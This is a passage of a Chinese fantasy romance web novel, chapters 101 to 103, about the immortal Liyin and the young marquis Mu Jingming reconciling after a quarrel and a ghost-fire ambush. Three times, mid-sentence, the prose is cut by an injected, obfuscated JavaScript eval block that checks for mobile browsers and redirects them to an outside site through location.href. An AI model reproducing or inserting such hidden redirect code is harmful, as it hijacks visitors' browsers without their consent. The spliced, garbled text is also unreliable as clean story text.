然而就在他这半晕不晕,要从马背上摔落下来的瞬间,马前少女眸中赤芒骤亮,马背上那人猛地双眼大睁,像是突然从梦中惊醒,可要说他醒着,眼中却又全无焦距,倒又像仍旧身处梦中。 璃音眼底红芒疾动,启唇的动作却既轻且缓,像是在往谁的梦里塞着悄悄话:“回去告诉你的雇主,这座山里没有他要找的猎物,往后都别再派人来了,听懂点头。” 马背上的男子目光凝滞,额前青光一闪,便仍旧目光凝滞地点了下头。 “醒来后就直接回去,不许在山里乱逛。” 赤目的少女说着微微歪头,似乎在想还有什么要补充的,想了一会,该是没想出来,便眨了眨赤色琉璃般血红清透的眼眸,就那样歪着头道:“现在你可以晕了。” 扑通—— 马背上的男子一头栽进了大泥坑里。 小蜀看得眼睛都直了,声音激动地道:“姐姐,我也想学这个!” 璃音心中暗笑:成了。 嘴上却淡淡地道:“真的想学?” 小蜀在她背上用力点头:“想学想学!” “想学这个,就先修仙。等你修炼出足够的力量,就能护下自己想护的人,再不必求人,也不会陷入之前那样的两难了。”璃音稳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14488311|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稳背着小蜀,继续在雨中慢悠悠迈开步子,“现在我再问你,修仙,不喜欢吗?” 这时归岚抱着中箭受伤的那只鹿蜀追了上来,小蜀见了,眼眶一红,大大的声音响彻林间:“喜欢,喜欢的!要保护它们,要修仙!” 她怕眼泪沾湿璃音的脖颈,弄得身上黏腻,忙稍稍仰头,瞧见头顶笼满乌云,岂不像极她和族人的一生,不觉鼻中更酸,便暗暗发誓:总有一天,她要到那乌云笼罩不到的地方去,她要做那云上之人! “云上……云上……” 璃音听着小丫头在她耳边的低喃,还有悄悄吸鼻子的声音,毫不意外,却不无感慨:谁能想到,这样总是看起来彷徨无助、楚楚可怜的小蜀,在未来的九百年里,真会带着这副身子上到九重天,去赴瑶池宴,又再打碎昆仑镜,被罚下凡,然后独自一人游遍东海,又开山立派,在醉酒后和徒弟们分享她游历中的趣事呢。 小蜀这一生,真可算得上是壮阔波澜,起伏不断,却又精彩不已了。 随即她便想起云上真人绘制的那几本工笔精巧的图鉴来,云上真人那样喜欢画画,又有那样的画功,想来便是在与楚作戎魂交相伴的那些年里,一点一点偷师学来的吧。 恋爱或许没谈成,倒是学了门手艺回来,那也不算亏。 璃音将小蜀背回观中小屋,替她和救回来的鹿蜀分别处理了腿伤箭伤。 到得晚上,看小蜀一手拄拐,一手撑伞,瘸着腿还要赶去厨房炒菜,璃音实在看不下去,把她赶回屋里,去厨房替她炒了一盘看呆归岚的青菜出来。 看小蜀脸上那写满感激,却又对这菜色实在难以恭维的表情,璃音忍着笑,想到自己就凭这个手艺,竟在武宁侯府当了那么久的厨娘,终于忍不住笑了出来,实在有些怀念。 倒不是怀念那些在厨房里戳着两支筷子拨炒青菜的日子,而是那时那处,那个看着脾气大得要命,却意外好哄,每一个眼神都在对她倾诉着喜欢的慕小侯爷,委实叫人怀念。 次日午后,璃音将归岚留在观中照顾小蜀,自己整衣束冠,再次去了南风馆。 然而一踏进二楼那间上房,她就眼皮一跳,脚步一顿,身子蓦地僵住了。 照雪和阿阮已在屋内候着。 服务还挺周到。 但那个蓝袍银冠,抱着胳膊倚在窗边,满脸山雨欲来地将她望着的男人,又是怎么回事? 他怎么会在这里的? 按破军偷偷告诉她的,太子太傅告假三月,慕璟明便被讨去了宫中替职三月,每日午后入宫,便要从这条街上过,这个时候他在这里,不怕误了教太子骑射的时辰么? 而且,她又怎么莫名就感到一阵心虚?天可怜见,她对那两个小倌可真的什么也没做! 当璃音还在“你怎么在这儿”和“我记得你不好这口啊”两种开场白之间犹疑不定的时候,已经被大步过来的慕璟明一把拽起手腕,黑着脸,拉着她就往门外走:“跟我回家。” 102. 第101章 璃音呆了一呆,不知道慕璟明又突然发的什么疯,此刻的她也来不及分辨他用意,只知道自己绝不要跟他回家,那个他和别人的家。 于是赶忙用没被抓住的另一只手抠住门框,仗着乔装,只管装傻:“回什么家,我不要,你谁呀你,我干嘛要去你家,你放手……” “回家。”慕璟明非但没放手,还抓得更紧了。 随着男人手上劲力加大,璃音脾气也给他拽得大了起来,装傻装不下去,忍无可忍,压着嗓子冲他低低喊了一句:“慕璟明!你管我去哪……你给我放手!” 但到底对他上次呕血心有余悸,便只是言语警告,没敢再用力推他搡他。 这番动静闹得不算太大,但也不小,没一会,廊道里乃至楼下便三三两两聚起了脸堆怪笑,伸脖揣手看热闹的人。 璃音这才后知后觉察觉到,她和慕璟明,这姿势,这对话,这场面,活脱脱就是个渣男流连风月场所,被恋人黑着脸捉奸在床,渣男还拒绝浪子回头的情形。 璃音:“……” 万没想到自己会因为这种事被围观。 她面皮薄,当即脸上一红,恨不得挖个坑把头埋进去,抓在门框上的手指不自觉松了劲,脚下一个踉跄,身子便被慕璟明拽了过去。 和她不同,慕璟明脸皮厚得简直无法测量,做事从来都是想做就做,全然不在乎周遭人的目光。 “好嘛,跟你回家,跟你回家,别这么用力拉我……” 这男人腿长,迈起大步来完全不顾她死活,害她跟得一步一踉跄,也太难看了。 至于回家,那当然是不可能回的,大不了上车再跑,有什么难。 璃音认命地被慕璟明牵着下楼,心里哀叹一声,抬起一条胳膊搭去额上,试图遮挡一下越聚越多的看戏人的目光。 不过在她那一句战略性服软之后,握着她的手倒就真的柔和下来,只仍旧牵得很紧,这样宽和温热的触感,让璃音在一刹恍惚间,有种回到了三年前,整日和慕璟明牵手腻歪的那些时日的错觉。 一路乖巧地被慕璟明带出南风馆,塞进马车,璃音立马就挣开他的手。 “慕小侯爷公然出入这种场所,又和个男人大庭广众之下拉拉扯扯的,真就一点不在乎你夫人会怎么想吗?” 开口就没给一点好脸色,说的也确实是璃音感到生气的地方。 眼前少女说变脸就变脸,慕璟明倒没什么意外,只是静望她半晌,忽地冷笑一声:“在乎?” 他止声一息,唇边笑意也跟着散尽,只一双墨黑的眸子仍牢牢凝住她眼睛:“你呢,你又在乎过我是怎么活,怎么想的吗?” 璃音微怔着睁大了眼,不敢相信这话是慕璟明对着她说出来的。 她是对很多人都很冷情,但她自问在感情上从不曾轻慢过他一分半点。 她爱他护他,没有一天忘记过他,这三年里,神思百转,为他不知腾起又压下了多少荒唐的念头,可血液里无声滚过的每一道想念,都还是刻着他的名字。 所以这话谁都可以来对她说,唯独他慕璟明不可以! “我怎么不在乎?” 璃音霍然起身,单手扣住男人肩膀,欺身便将他重重地按去车壁上。 “慕璟明,你给我说清楚,我怎么就不在乎你了?!” 她深深吸气,委屈不断压挤肺叶里的空气,逼红了少女的眼眶,也逼出了她罕见的高声喝问。 慕璟明被少女死死抵住身子,既不挣扎,也不示弱,只眼尾不知何故也泛起了红。 但他一双漆眸还是如狼一般直勾勾盯住少女的眼睛,半点不肯退让,那眸子仿佛替代了他的手,将少女紧紧锁在了自己的世界里,似乎这样,就能叫她一步也再不能离开自己身边。 “在乎我,所以可以一走就是三年?”男人毫不客气地提声回列她的罪状,“在乎我,所以不来找我,宁可去刚才那种地方?!” “那还不都是为你!” 慕璟明提了声,璃音便不免要更大声地拿话顶他。 两人你一句我一句,都生怕在对方面前输了气势似的,那嗓音一句提得比一句高,说到这里,声音大得已和吵架没什么差别了。 在外驾车的童墨听见这番动静,不禁缩起脖子,打了个哆嗦。 璃音素来是个怕高声吵闹的,像这样被气到脸红脖子粗,声嘶力竭地和人争辩,当真是她此生头一遭。 就这样,这男人居然还说她不在乎他。 她分明就是一直以来都太在乎他,太惯着他了! 这世上,除了慕璟明,还有谁能给她这样的气受! 她会去南风馆,固然有日日都想见到他的缘故,但更多是因为此馆阴气重得非比寻常,他又每日要从这处经过,她心里总放不下云卿口中那一份还未给慕璟明送出的大礼,所以才包下了最适合伏击的这间屋子,每天准时过来,守他安然行过此街入宫,这才安心。 可这个男人显然毫不领情,甚至把嘴角一点点嘲弄般地勾起:“为我?” “是为了天上那位神君吧!” 璃音愣住。 而慕璟明盯视着她,一字一句,眸中晦色滔天:“只要他的魂魄不死在我身体里,就可以了,不是吗?至于我活成什么样,你真的在乎过吗?” “想他的时候,就来亲我,抱我,说喜欢我,哄我说你是为我而来。” “而其实你在我身边的每一天,都在计划着要怎么永远离开这里,怎么抛下我,去和他在别处团聚,不是吗?” 璃音被惊得根本说不出话来。 不止是因为慕璟明说出口的这些话。 还因为小七,哭了。 他没再说话,也没再发出任何声音,没有扭头,没有垂眼,没有任何的躲闪,只把沸墨般的目光径直灼在她眼底,就这样把一切愤怒和悲伤摊开在她眼前,很安静,又很倔强地,看着她,掉下了一滴泪。 就砸在她按在他肩头的手背上。 那样晶莹滚烫。 璃音只觉心尖都在发颤。 她不晓得慕璟明是从何处得知这些,又怎么把事情给理解成了这样的。 在她心中眼中,小七就是小七,是同一抹神魂,自然也该是同一个人。 但她也万分确定,让她第一次知道什么叫做心动,日渐倾心,以至沦陷到如今这种无可救药的地步的,并不是天上那位神君,而是此处人间里恣肆无两的慕玿小侯爷。 “不是的……我不是……不是他……” 被他泪水灼乱的字音断续着根本咬不成句,又因为过于急切想要给他解释,有太多想说的话直往上涌,反而一股脑把喉咙口堵住了一般,一时竟致一句完整的话也说不出来。 这般惊神间,车帘一晃,璃音只听耳边嗖的一声,便有什么东西径直向慕璟明面门射 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14497699|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 她脑中尚在混乱,本能便扑慕璟明卧倒,那东西砸在车壁上,砸出重重一串闷响,再坐起身一看,才看清是一只坠着铜币当重砣的鸡毛毽子,正威风凛凛掉在两人脚边。 童墨被这动静吓了一跳,忙扭了头向车里问:“小侯爷,里面没事吧?” 慕璟明缓坐起身子,淡声道:“没事。” 璃音掀开车帘往外一张,才知道是街边有两个小孩儿踢毽子玩,一脚下去踢歪了,竟直直踢进了慕璟明车里。 那毽子下面坠着铜币,射过来时直如暗器一般,威力也真如暗器一般,一点不输真正为夺命而来的冷箭。 可看刚才慕璟明那副样子,即便射来的真是一支冷箭,他也根本不会去躲。 “阿璃何必这么紧张。”璃音听见男人在身后似笑非笑着低语,“我若被这毽子砸死,你不就能与他欢聚了,不是天降的好事一桩吗?” 她放下帘子,猛地回头,就看见了慕璟明那双沉黑到有些空洞的眼睛。 怎么会…… 溺水般的窒息没过璃音口鼻。 她五指无意识地攥成一团,指甲深深掐进掌心里面,掐出一片尖锐的痛意,她却浑然不觉,嘴唇在这片窒息中努力张合着,喉咙已几乎不能通气,但她仍艰难地往外挤着字眼:“不是的,不是你想的那样,你不要……” 不是你想的那样,所以请你不要有那种可怕的想法。 如果有人因为她而想要去死的话,无论这个人是不是慕璟明,她都会活不下去的。 只是话未说完,慕璟明却仿佛已经猜出了她要说什么,他望着她低哂:“阿璃真是霸道,不肯陪我活着,却连死也不让我死。” 说着,男人却倾身过来,动作还算温柔地将她扣入了怀里。 “上次这种时候,你说喜欢我,哄我多活了三年,这次你又要说什么?” 与温柔动作绝不相称的一字一句在璃音耳畔响起,那些字音敲落在她心上当真宛若凌迟,她不知道此刻如果把心挖出来,是不是已经成了血糊糊的一片一片了,她很想出言反驳,但一张口,竟觉体内魔气猛地一阵激荡,喉间一股腥甜直往上冲,忙合上嘴巴,咬紧了牙,立刻便有血丝从她抿得死紧的唇角不断溢了出来。 魔气在灵脉间横冲直撞,虽还不至神思失控,脑袋却已越来越重,血管里的血也越发灼烫了起来,头痛,心痛,浑身每一根经脉都痛。 痛到极处,竟还昏昏沉沉自嘲般地想起,自己昨日还嘲笑那帮为了修炼而舍弃七情的人,今天就被这破烂的情爱之事弄到岔气逆血,这么看来,最该斩了这情丝的,竟是她自己才对。 不,不对,她体内魔气一向稳定,即便再和慕璟明怄气,也不至激荡失控成这样。 她的视线慢慢落去了马车角落里那一个鸡毛挺立的毽子上。 而下一息,那鸡毛上猛窜起一簇幽幽绿火,不过眨眼,那毽子便被无声燃进了空气之中,连一点烟灰都没留下。 果然是它! 是云卿的鬼火! 这绝不是一只普通的毽子,而这毽子被踢入马车,也根本不是什么意外! 但此刻的璃音已被脉间游走的魔气冲撞得几近昏迷,她想抬手将小七回抱进怀里,想要好好护住他,可是手却重得根本抬不起来。 “落日……归岚……” 她用尽最后一丝力气往灵台中哑声召唤。 103. 第102章 快活 璃音不大清楚自己是怎么晕过去的,但她发现自己是在熟悉的破烂道观的破烂小屋中醒来的时候,就知道那只鬼气森森的毽子最终没能掀起什么浪来,就是掀了,也必然已被落日或归岚压平了。 所以她睁眼第一件事,就是直挺挺从床上坐起,头也没转一下,就一个闪身直直奔去了武宁侯府。 今天在马车上,她被慕璟明那一滴泪晃了心神,又被那倒霉毽子弄岔了气,害得她吵架都没发挥好! 心里闷了好大一口气,闷得她昏迷了都没睡好,梦做了一个接一个,每个梦里都是在演练如何找慕璟明算账。 而且这会儿她也回过味来了,那个男人可是惯会使手段叫她心软的,总能脸不红心不跳地做张做致,勾她心疼,果然,今天一滴泪就又叫他得了逞。 璃音越想越不甘心,直把脚下步子奔得虎虎生风,一步就奔出十里路,没半盏茶功夫,就已气势汹汹地冲进了慕璟明的小院。 然而慕璟明却没在府中。 抬头看看天色,日头尚堪堪挂着,像申时刚过的样子,看来她并没有昏睡多久,难道慕璟明是入了宫,尚未回府? 璃音即刻又一个闪身奔去了宫中,但仍不见人。 慕璟明去哪了? 在外面各处转了一圈均找不见人,璃音默然回到观中小屋,一进门,却就见慕璟明正好整以暇地坐在桌边,抬着眉看她。 “这么快就回来了?” 璃音:“……” 璃音磨着牙,几步上前,一把揪住慕璟明的衣襟,眯眼横眉,摆出自认为最凶的表情,劈头盖脸就向他恶狠狠地道:“慕璟明,你给我听着。” “第一,我离开三年,不是故意抛下你,是因为重伤昏睡了两年,刚醒过来你就要和别人成亲了。” “第二,我去南风馆只是为了看你的,里面的那些人我一根头发丝都没碰过。” “第三,你是和天上那位神君同魂同体,但我亲的抱的救的都是你,那位神君,我可从未对他那样过,你凭什么说我不在乎你!” “还有,慕小侯爷莫不是忘了,你的命早就给了我了,这话可是小侯爷亲口说出来的。从今以后,没有我的允许,你休想再去想那个‘死’字,若再敢想一次,别怪我收拾你,听到没有!” 少女本身嗓门就不大,也没太多声嘶扯嗓的经验,看她刻意板着脸,一字一句都说得气鼓鼓的,像小猫爪子直往人心口挠。 训人的力气这么足,看样子身体该是无碍了。 慕璟明看着听着,一颗心便此安定下来。 脑中掠过今日在马车上,察觉到她在怀中骤然瘫软下去,捞出她的脸来一看,就见她双目紧闭,脸色煞白,双唇已被鲜血洇透的那一眼。 在那一眼中,瞳孔都惊颤了一瞬,但也仅一瞬之后,他便冷静地抬手探了她的呼吸,然后摘下颈间她给他的那一个挂坠,系回了她的身上。 做完这些,他便又默然地将她拥在了怀里。 “阿璃。” 他试着唤她的名字,而少女只是昏睡,再给不出一点回应。 车外喧声攘攘,车中却安静得只听得见两人浅浅的呼吸声。 他的阿璃不是这凡尘里寻常普通的姑娘,这一点他早有预感,也早有猜测。 她身上有太多不寻常的地方。 不畏寒暑,刀枪不入。 力气大得惊人。 似乎能看见一些神神怪怪的东西,也常会说些神神怪怪的话。 三年过去,他个子高了,肩背都宽阔了不少,她却仍是离开时那副十六七岁的少女模样,连头发的长度都没有丝毫变化。 所以当他亲眼看着那条巨龙凌空乍现,将她温柔地卷走时,并没有过多讶然,只是对“我是神仙派来的呀”这句话更加有了实感。 及至跟着上山入观,神龙化作青年,面带愧色地交给了他一些东西,又说了关于阿璃的一些事情的时候,他也没感到太多的意外。 所有的一切,都与他收到那副神神秘秘的摇光画像之后,所猜测的大差不差。 他是她的小七。 却算不得是她唯一的小七。 而她来到这里,也早就给此处人间里的慕璟明定好了时限。 ——“是天上的神仙派我来的呀。” ——“你须得让我陪在你身边四年,时刻不离左右,四年后,此灾可解。” 原来在见第一面时,她就已告诉了他所有的答案。 四年。 如今便已是第四年了。 她留在这里的日子,还能剩下多久呢。 可她也没有遵守约定,擅自离开,欠了他三年,难道就这样算了。 曾经只要一想到这些,喉间的腥甜便要不可抑制地上涌。 但他现在已经能很平静地接受这一切。 仿佛所有的心慌,都被他丢弃在了她红唇染血的那一眼里面。 一眼仅只一瞬。 可是,只有他知道,整个世界都仿佛差点终结在了那一瞬之中。 在那样的一个瞬间里面,在那样于吵嚷街市中安静到几近神魂寂灭的一瞬里面,他再没有什么骄傲不可以被放下。 他并没有在求死,至少在她于那个雪夜里对他说了那句喜欢之后,那样的想法就再没有出现过,甚而在上战场时,心里也终于不再是全然的荒芜,而是隐隐能看懂了那些扑喊砍杀的士兵是在为谁而战。 只要她还在这个世界里,他如何会不想活。 哪怕他只是某位神君沧海桑田的无尽时光里,微末近弹指的一世凡魂,微末到无论如何用力,在她心里能留下的痕迹也不过雪地里的一个脚印,雪化了,便就散了。 而她真正爱的只是那片地,不是雪。 雪只是刚好落在了那里,让那块地有时成了雪地。 所以她有时也会说,她很喜欢那一片雪地。 但所有这些,在经过那一个瞬间之后,都显得不是那么重要了。 仅仅只是作为雪地被她在意和关心,也足够支撑他活过在她生命中,不过如同流星曳过般的一生。 也正因为只是流星,正因为只有一场雪化的时间,所以他才更要…… 而此刻,慕璟明被迫仰颈望着眼前的少女,任她抓着自己衣襟,听她将一条条的反驳一口气往耳边灌。 久违的舒爽在血液中炸开,他将背脊往下懒了懒,果然下一息,就被少女察觉到了,不满地又揪住他往上狠狠一拎。 于是男人微不可察地,近乎享受地轻颤了颤他鸦黑的睫毛。 璃音将在马车上有心反驳,但一时没能驳出口的话自顾自地一股脑说完,自我感觉这次发挥得还算满意,正准备舒口气歇歇,却见慕璟明脸上没一点愧疚懊恼的神色,只睁着一双点星似的眸子,抬眉将她似笑非笑地望着。 这副神情,璃音太熟悉了。 分明就是又把他骂爽了,正享受呢! 看慕璟明这副态度极不端正的模样,璃音绷着脸,气得将抓在手里的衣领子攥得更紧了:“你笑什么。” 想自己遇上慕璟明以来,总共也没对他疾言厉色过几句,但好几次说完他,他都一脸享受的样子。 有毛病。 “我只是在想,阿璃的话怎么变少了?” 慕璟明说着,低低笑了声,一只手抬起,覆上她攥在他胸口的手背,早知她会逃开似的,一触上,便死死握紧了,另一只手中捏着一沓不知什么纸,也往空中轻轻扬了扬。 璃音正自莫名其妙,她平时也不是个碎嘴子,话并不多,适才这么一大堆话噼里啪啦说下来,慕璟明竟还说她的话变少了。 但看他眉毛和唇角也跟着那沓纸张一起扬起,璃音怔愣一瞬,猛地反应过来,那那那……那不是她在东海刚醒来时,给他写去的整整十三页肉麻情话么! 可是,这信不是被归岚扣下了,没送到他手上的么! 想那时她对他情意正浓,又相思难耐,那文采自然也是暴涨,直把一句“想你了”翻来覆去写出了花。 面颊一下子烧得滚烫,一想到那些话都被慕璟明看了去,更是烫得快要滴血。 璃音伸手就要去夺了那信,才发现用惯的右手被慕璟明牵得死紧,待左手伸出,男人早已笑着把信一把拢入袖中藏好,还顺道把她的左手也握入了掌心。 这爱牵手的毛病也是一如既往地没改。 回头想想,她回到王都后,两人屈指可数的几次见面,要么推搡,要么吵架,但就这种情况下,每次见面时,竟也都是牵上了手的,当真神奇。 “阿璃。” 男人莫名其妙开始笑着叫她的名字。 “慕璟明,你少得意。”璃音看不顺眼地呛他,“那都是一年前写的了,上面的话早就算不得数了!” 这话不知哪里又戳中了慕璟明的笑点,听着就又轻轻笑了一声,笑完后,突然就望着她,牛头不对马嘴地来了一句:“你怎么总说我与别人成亲了?” 璃音一怔。 归岚,云卿,都与她说过慕璟明成亲了,难道都是骗她的不成? 就算他们都骗了她,童墨那一句“少夫人”总是做不得假的。 忽然手上被一股劲力扯过,男人竟就着这个姿势,拉她在他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14515892|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腿上侧身坐了下来,将她整个人圈在了怀里。 两个人面对面叠坐在一张小小的凳子上,有点,太过亲密了…… 璃音脸上已红得不能再红,刚要跳身起来,就又被慕璟明下一句话怔住,竟就呆呆地任他抱在腿上了。 他说:“除了阿璃,我不会和任何人成亲。” 说着,一只手还在她背后顺着她长发轻轻抚着,就好像……这一年来,她所有那些酸涩荒唐的心事他都知道了,在轻轻给着她安抚一样。 “可你明明……” “那段日子被催得烦,想了个办法,做做样子罢了。” 看怀中少女一脸不信的样子,慕璟明手指玩着她的发梢,笑道:“阿璃若是不放心,可以随时来我院中检查,看看可会出现什么别的女人。” 璃音想起慕小侯爷的婚事似乎还是圣上赐下的呢,不禁咋舌:“这么离经叛道的事你也做得出来。” 慕璟明目光灼灼地望着她笑:“还有更离经叛道的呢。” 他的夫人是谁,以后她就会知道了。 璃音被他灼烁的目光瞧得心尖发热,垂着的手臂不自禁抬了起来,想要环住他结实的腰身,想要回他一个“好吧,勉强接受了你这番说辞”的抱。 屋门却猛地被笃笃叩响,门外随即响起小蜀的声音:“姐姐,你醒了吗?归岚哥哥给你煮了药,让我给你端过来。” 璃音一下子从慕璟明腿上弹了起来,在男人好笑的眼神中,整了整衣服,干咳一声,才道:“醒……醒了,你进来吧。” 小蜀推门进来,璃音看她一瘸一拐端药走着,忙上去自己把药端起来一口喝了,心想归岚做事也太心大,怎么让腿伤还没好的小蜀来给她送药,用给小蜀撑腰的语气道:“我让归岚照顾你,他怎么还使唤起你来了,你和我说,他是不是在家里偷偷欺负你?” “没有,没人欺负我。”小蜀瞥一眼旁边的慕璟明,小小声附去璃音耳边道:“归岚哥哥说他做错了事,不好意思来,这才让我来的。” 这时门外童墨也探进来个脑袋,向慕璟明道:“小侯爷,外边又下雪了,咱们也该动身回府了,再晚路该不好走了。” 此时屋外已近黄昏,晚霞漫了上来,凡人们可没一步十里的本事,从这里回去武宁侯府,可得好好赶一番功夫的路呢。 再晚回去,确实不大安全,璃音看他不情不愿的样子,也拉过他的袖子催他:“你快回去吧。” 慕璟明看着少女哄他时,习惯性抓上自己袖子的手,手指无声蜷了蜷,但面上仍是不情不愿。 璃音想了想,只觉让慕璟明一个人回去还是不放心,又把归岚喊来,向慕璟明道:“我让他送你回去吧,也快些。” 岂料慕璟明无声抬眸看了归岚一眼,就一口回绝:“不用。” 转头向门外道:“童墨,备马。” 想也知道是在为着归岚藏信的事闹脾气呢,璃音笑着晃晃他的袖摆,也没有坚持。 归岚自知做错了事,默默埋头站去了璃音身后躲着。 他不是没听说过这位神君脾气差,但具体差到什么程度,他也未曾当面领教过,心里难免忐忑,但顺着魂契忽然感应到主人山呼海啸一般的开心,又很简单地便跟着开心了起来。 出门前,慕璟明从怀中摸出一张小纸条,抓起少女拽在他袖子上的手,塞进了她掌心。 “回信。” 知道这是给她那十三页肉麻情话的回信,璃音脸上刚消下去的热意就又涌了上来。 慕璟明说罢捏了捏璃音的手,见她脸红得好玩,便又去捏她的脸,捏了好几把,直捏到少女轻轻瞪他一眼,才收了手,轻笑着道:“走了。” “嗯。” “明天我再来看你。” “哦。” 璃音不咸不淡地应着,但真恨不得下一次眨眼睁开时就已是明天。 目送男人上了马车,璃音在原地站着看了一会雪,突然拔足一路奔去后山,手拢去嘴边,对着满目枯林,快活无比、畅畅快快地大喊了一声:“啊——” 这一声震彻山林,慕璟明尚未走远,闻声轻怔,随即便笑着用指腹摩上了腰间一枚小小的玉坠小人。 那小玉人姿容清丽,裙衫轻盈,整个人好似一只灵蝶蹁跹,是个十六七岁的少女模样。 “阿璃。” 他不自觉地轻轻唤她的名字,心头刺痛,那毫无回应的一瞬又蓦然攫住他脑海。 谁料字音刚落,山的另一边便又传来响亮无比的一声:“啊——” 慕璟明握着那枚玉坠,怔愣一息,终是忍俊不禁,再一次轻声笑了起来。 104. 第103章 时值岁末隆冬,大雪小雪交替着下个不停,即便有宫人换着班扫着,出宫的路还是又被一层软白的雪毯覆上了。 楚作戎望见前方熟悉的身影,忙三两步追上,肩膀狎昵地往那人身上轻撞了下,又左右张望一遍,确认无人,才做贼似的,压低了声音道:“璟明,昨日坊间传出来的那事,可是真的?” 慕璟明步子迈得快,像是赶着要出宫,闻言也不算惊讶,脚下没停,只偏了偏头,勾唇“哦”了一声,道:“传出什么来了?” “说你为了照雪,在南风馆和一个小公子大打出手了?”楚作戎啧啧两声,挤着眉弄着眼,又把头凑近了些,声音压得更低了,“你也是,挑谁不好,偏挑上那位,你可知那照雪是太子的人?” 慕璟明听不出所谓地挑挑眉:“就这些?” 秦楼楚馆,烟花巷尾,里面多有贵人安插在里面用以获取信息的眼线,照雪是太子的人,在他把阿璃的消息透过太子传来自己耳中时,便已不再算是个秘密了。 会挑人的可不是他,是他的阿璃才对。 若不是照雪,他也捉不出那个胆敢躲着他的小姑娘。 若自己昨日没去找她,她恐怕直到离开,也不会再让他见上一面了。 想到这里,男人脚下的步子又迈得更大了些。 “你赶着去投胎么。”楚作戎身娇体弱,受不了这样快步的行走,没跟几步就喘了起来,忙一把拉住慕璟明,小心往四下里张望着,神色里难得添了几分凝肃,“传出来的可不止这些。” 终于拉扯得慕璟明停步,楚作戎才垂下手,又立马抬了起来,虚虚掩上嘴巴,蹙眉低声:“昨个下午,坊间有个醉汉到处在说,看到有龙落在你车里了。” 慕璟明眸光微烁。 “这种话要传到陛下耳中,可不是什么好事!”楚作戎掩口轻声,目光不住警惕地打量着四周,“好在只有个醉汉在说,话也说得颠三倒四,问别人,都说没见着,你刚从太子那回来,你看他今日对着你,可有何异样?” 慕璟明听完,看楚作戎一副如临大敌的模样,扬眉轻笑了声:“小舅舅,不必这么紧张。” “便是传去了他们耳朵里,也不是什么大事。”说着便就抬步,踩过脚下大片潮软的雪地,继续往宫门外走。 不算太意外的传言。 甚至比他预想的要好。 至少没把阿璃牵扯进来。 只要不把阿璃牵扯进来,那么无论坊间宫里传他什么,他都一概没有所谓。 “璟明,喂,你小子,真赶着去投胎么,又走那么快!” 楚作戎在身后跳着脚喊了两句,也一路小跑着,踩着雪追了上去。 一面追,一面嘴里还在自顾自说着:“我也好久没去看望二姐了,今日难得凑巧碰上,不若就乘你的马车……唉哟……” 追至宫门,却不想慕璟明忽地停身,楚作戎收势不及,鼻子砰的一下磕上后脑,鼻血都差点喷了出来,左司马府中娇生惯养的小公子当即就“唉哟”一声,捂了鼻子,大声嚷道:“你干嘛!走一下停一下的!” 慕璟明定定看着宫门外雪地里,在马车边上提灯等着他的青衣少女。 “小舅舅,今日不巧,我的车你坐不了。”他转身,拍拍楚作戎的肩膀,咧牙一笑,眼睛亮得仿佛整片雪面上的光都映照进了他的眼底,“我夫人来接我了。” “什……什么夫……”楚作戎揉着鼻子,茫然把话说到一半,忽也惊喜道:“夏姑娘回来了?” 然而慕璟明早已撇下他,头也不回地向着那姑娘大步流星而去了。 楚作戎哑然失笑,看着门外迫不及待相见的一双男女越靠越近,看着看着,不知想起了什么,忽然长长叹出一口气,过了一会,又哼哼唧唧地道:“这有什么,我夫人也在等我回家的,小蜀,小蜀也在等我回家的……” 说完,呆呆在原地立了半晌,便忽地加快脚步,踏出宫门,急匆匆往家去了。 璃音等人的样子很文静,只是提了一盏灯站着,不多话,也没有多余踢脚抬手的动作,偶尔童墨会问她一句“冷不冷”,请她去车里坐着,她就摇头笑笑拒绝。 她哪里会冷,想到小七,心里就热乎得不行。 他昨天让她开心了。 所以今天,她也想让小七开心。 但看慕璟明长身踏雪向她走来,远远地尚看不清五官,但那挺拔的身形,窄腰宽肩,便更具冲击力地闯进了她眼里。 实在是赏心悦目。 璃音不动声色地用舌尖抵了抵齿根,觉得今天依然是小七让她开心了。 “今天怎么会过来?正准备上山去看你的。” 慕璟明接过璃音手中灯笼挂去车上,两人的手便很自然地牵在了一起,自然得仿佛中间缺失的三年从未存在过一般。 “来检查你有没有乖乖活着。” 璃音由着慕璟明牵她上车,钻进帘子前不忘指指挂在了车厢前的那只灯笼,认真叮嘱:“这个出门时就挂上,保你平安的。” 太子每日练习骑射的时间是未时到申时,所以慕璟明出宫时天色尚早,未及黄昏,其实远没到点灯的时候,但有了昨日鬼火毽子那一遭突袭,璃音便不免要多防着些。 这灯是神龙一族的宝贝,燃起便可叫百鬼现形,隐不住身,许多鬼鬼祟祟的偷袭自然便被杜绝掉了,归岚对藏信一事终究心中有愧,有心弥补,便自发把这灯献了出来。 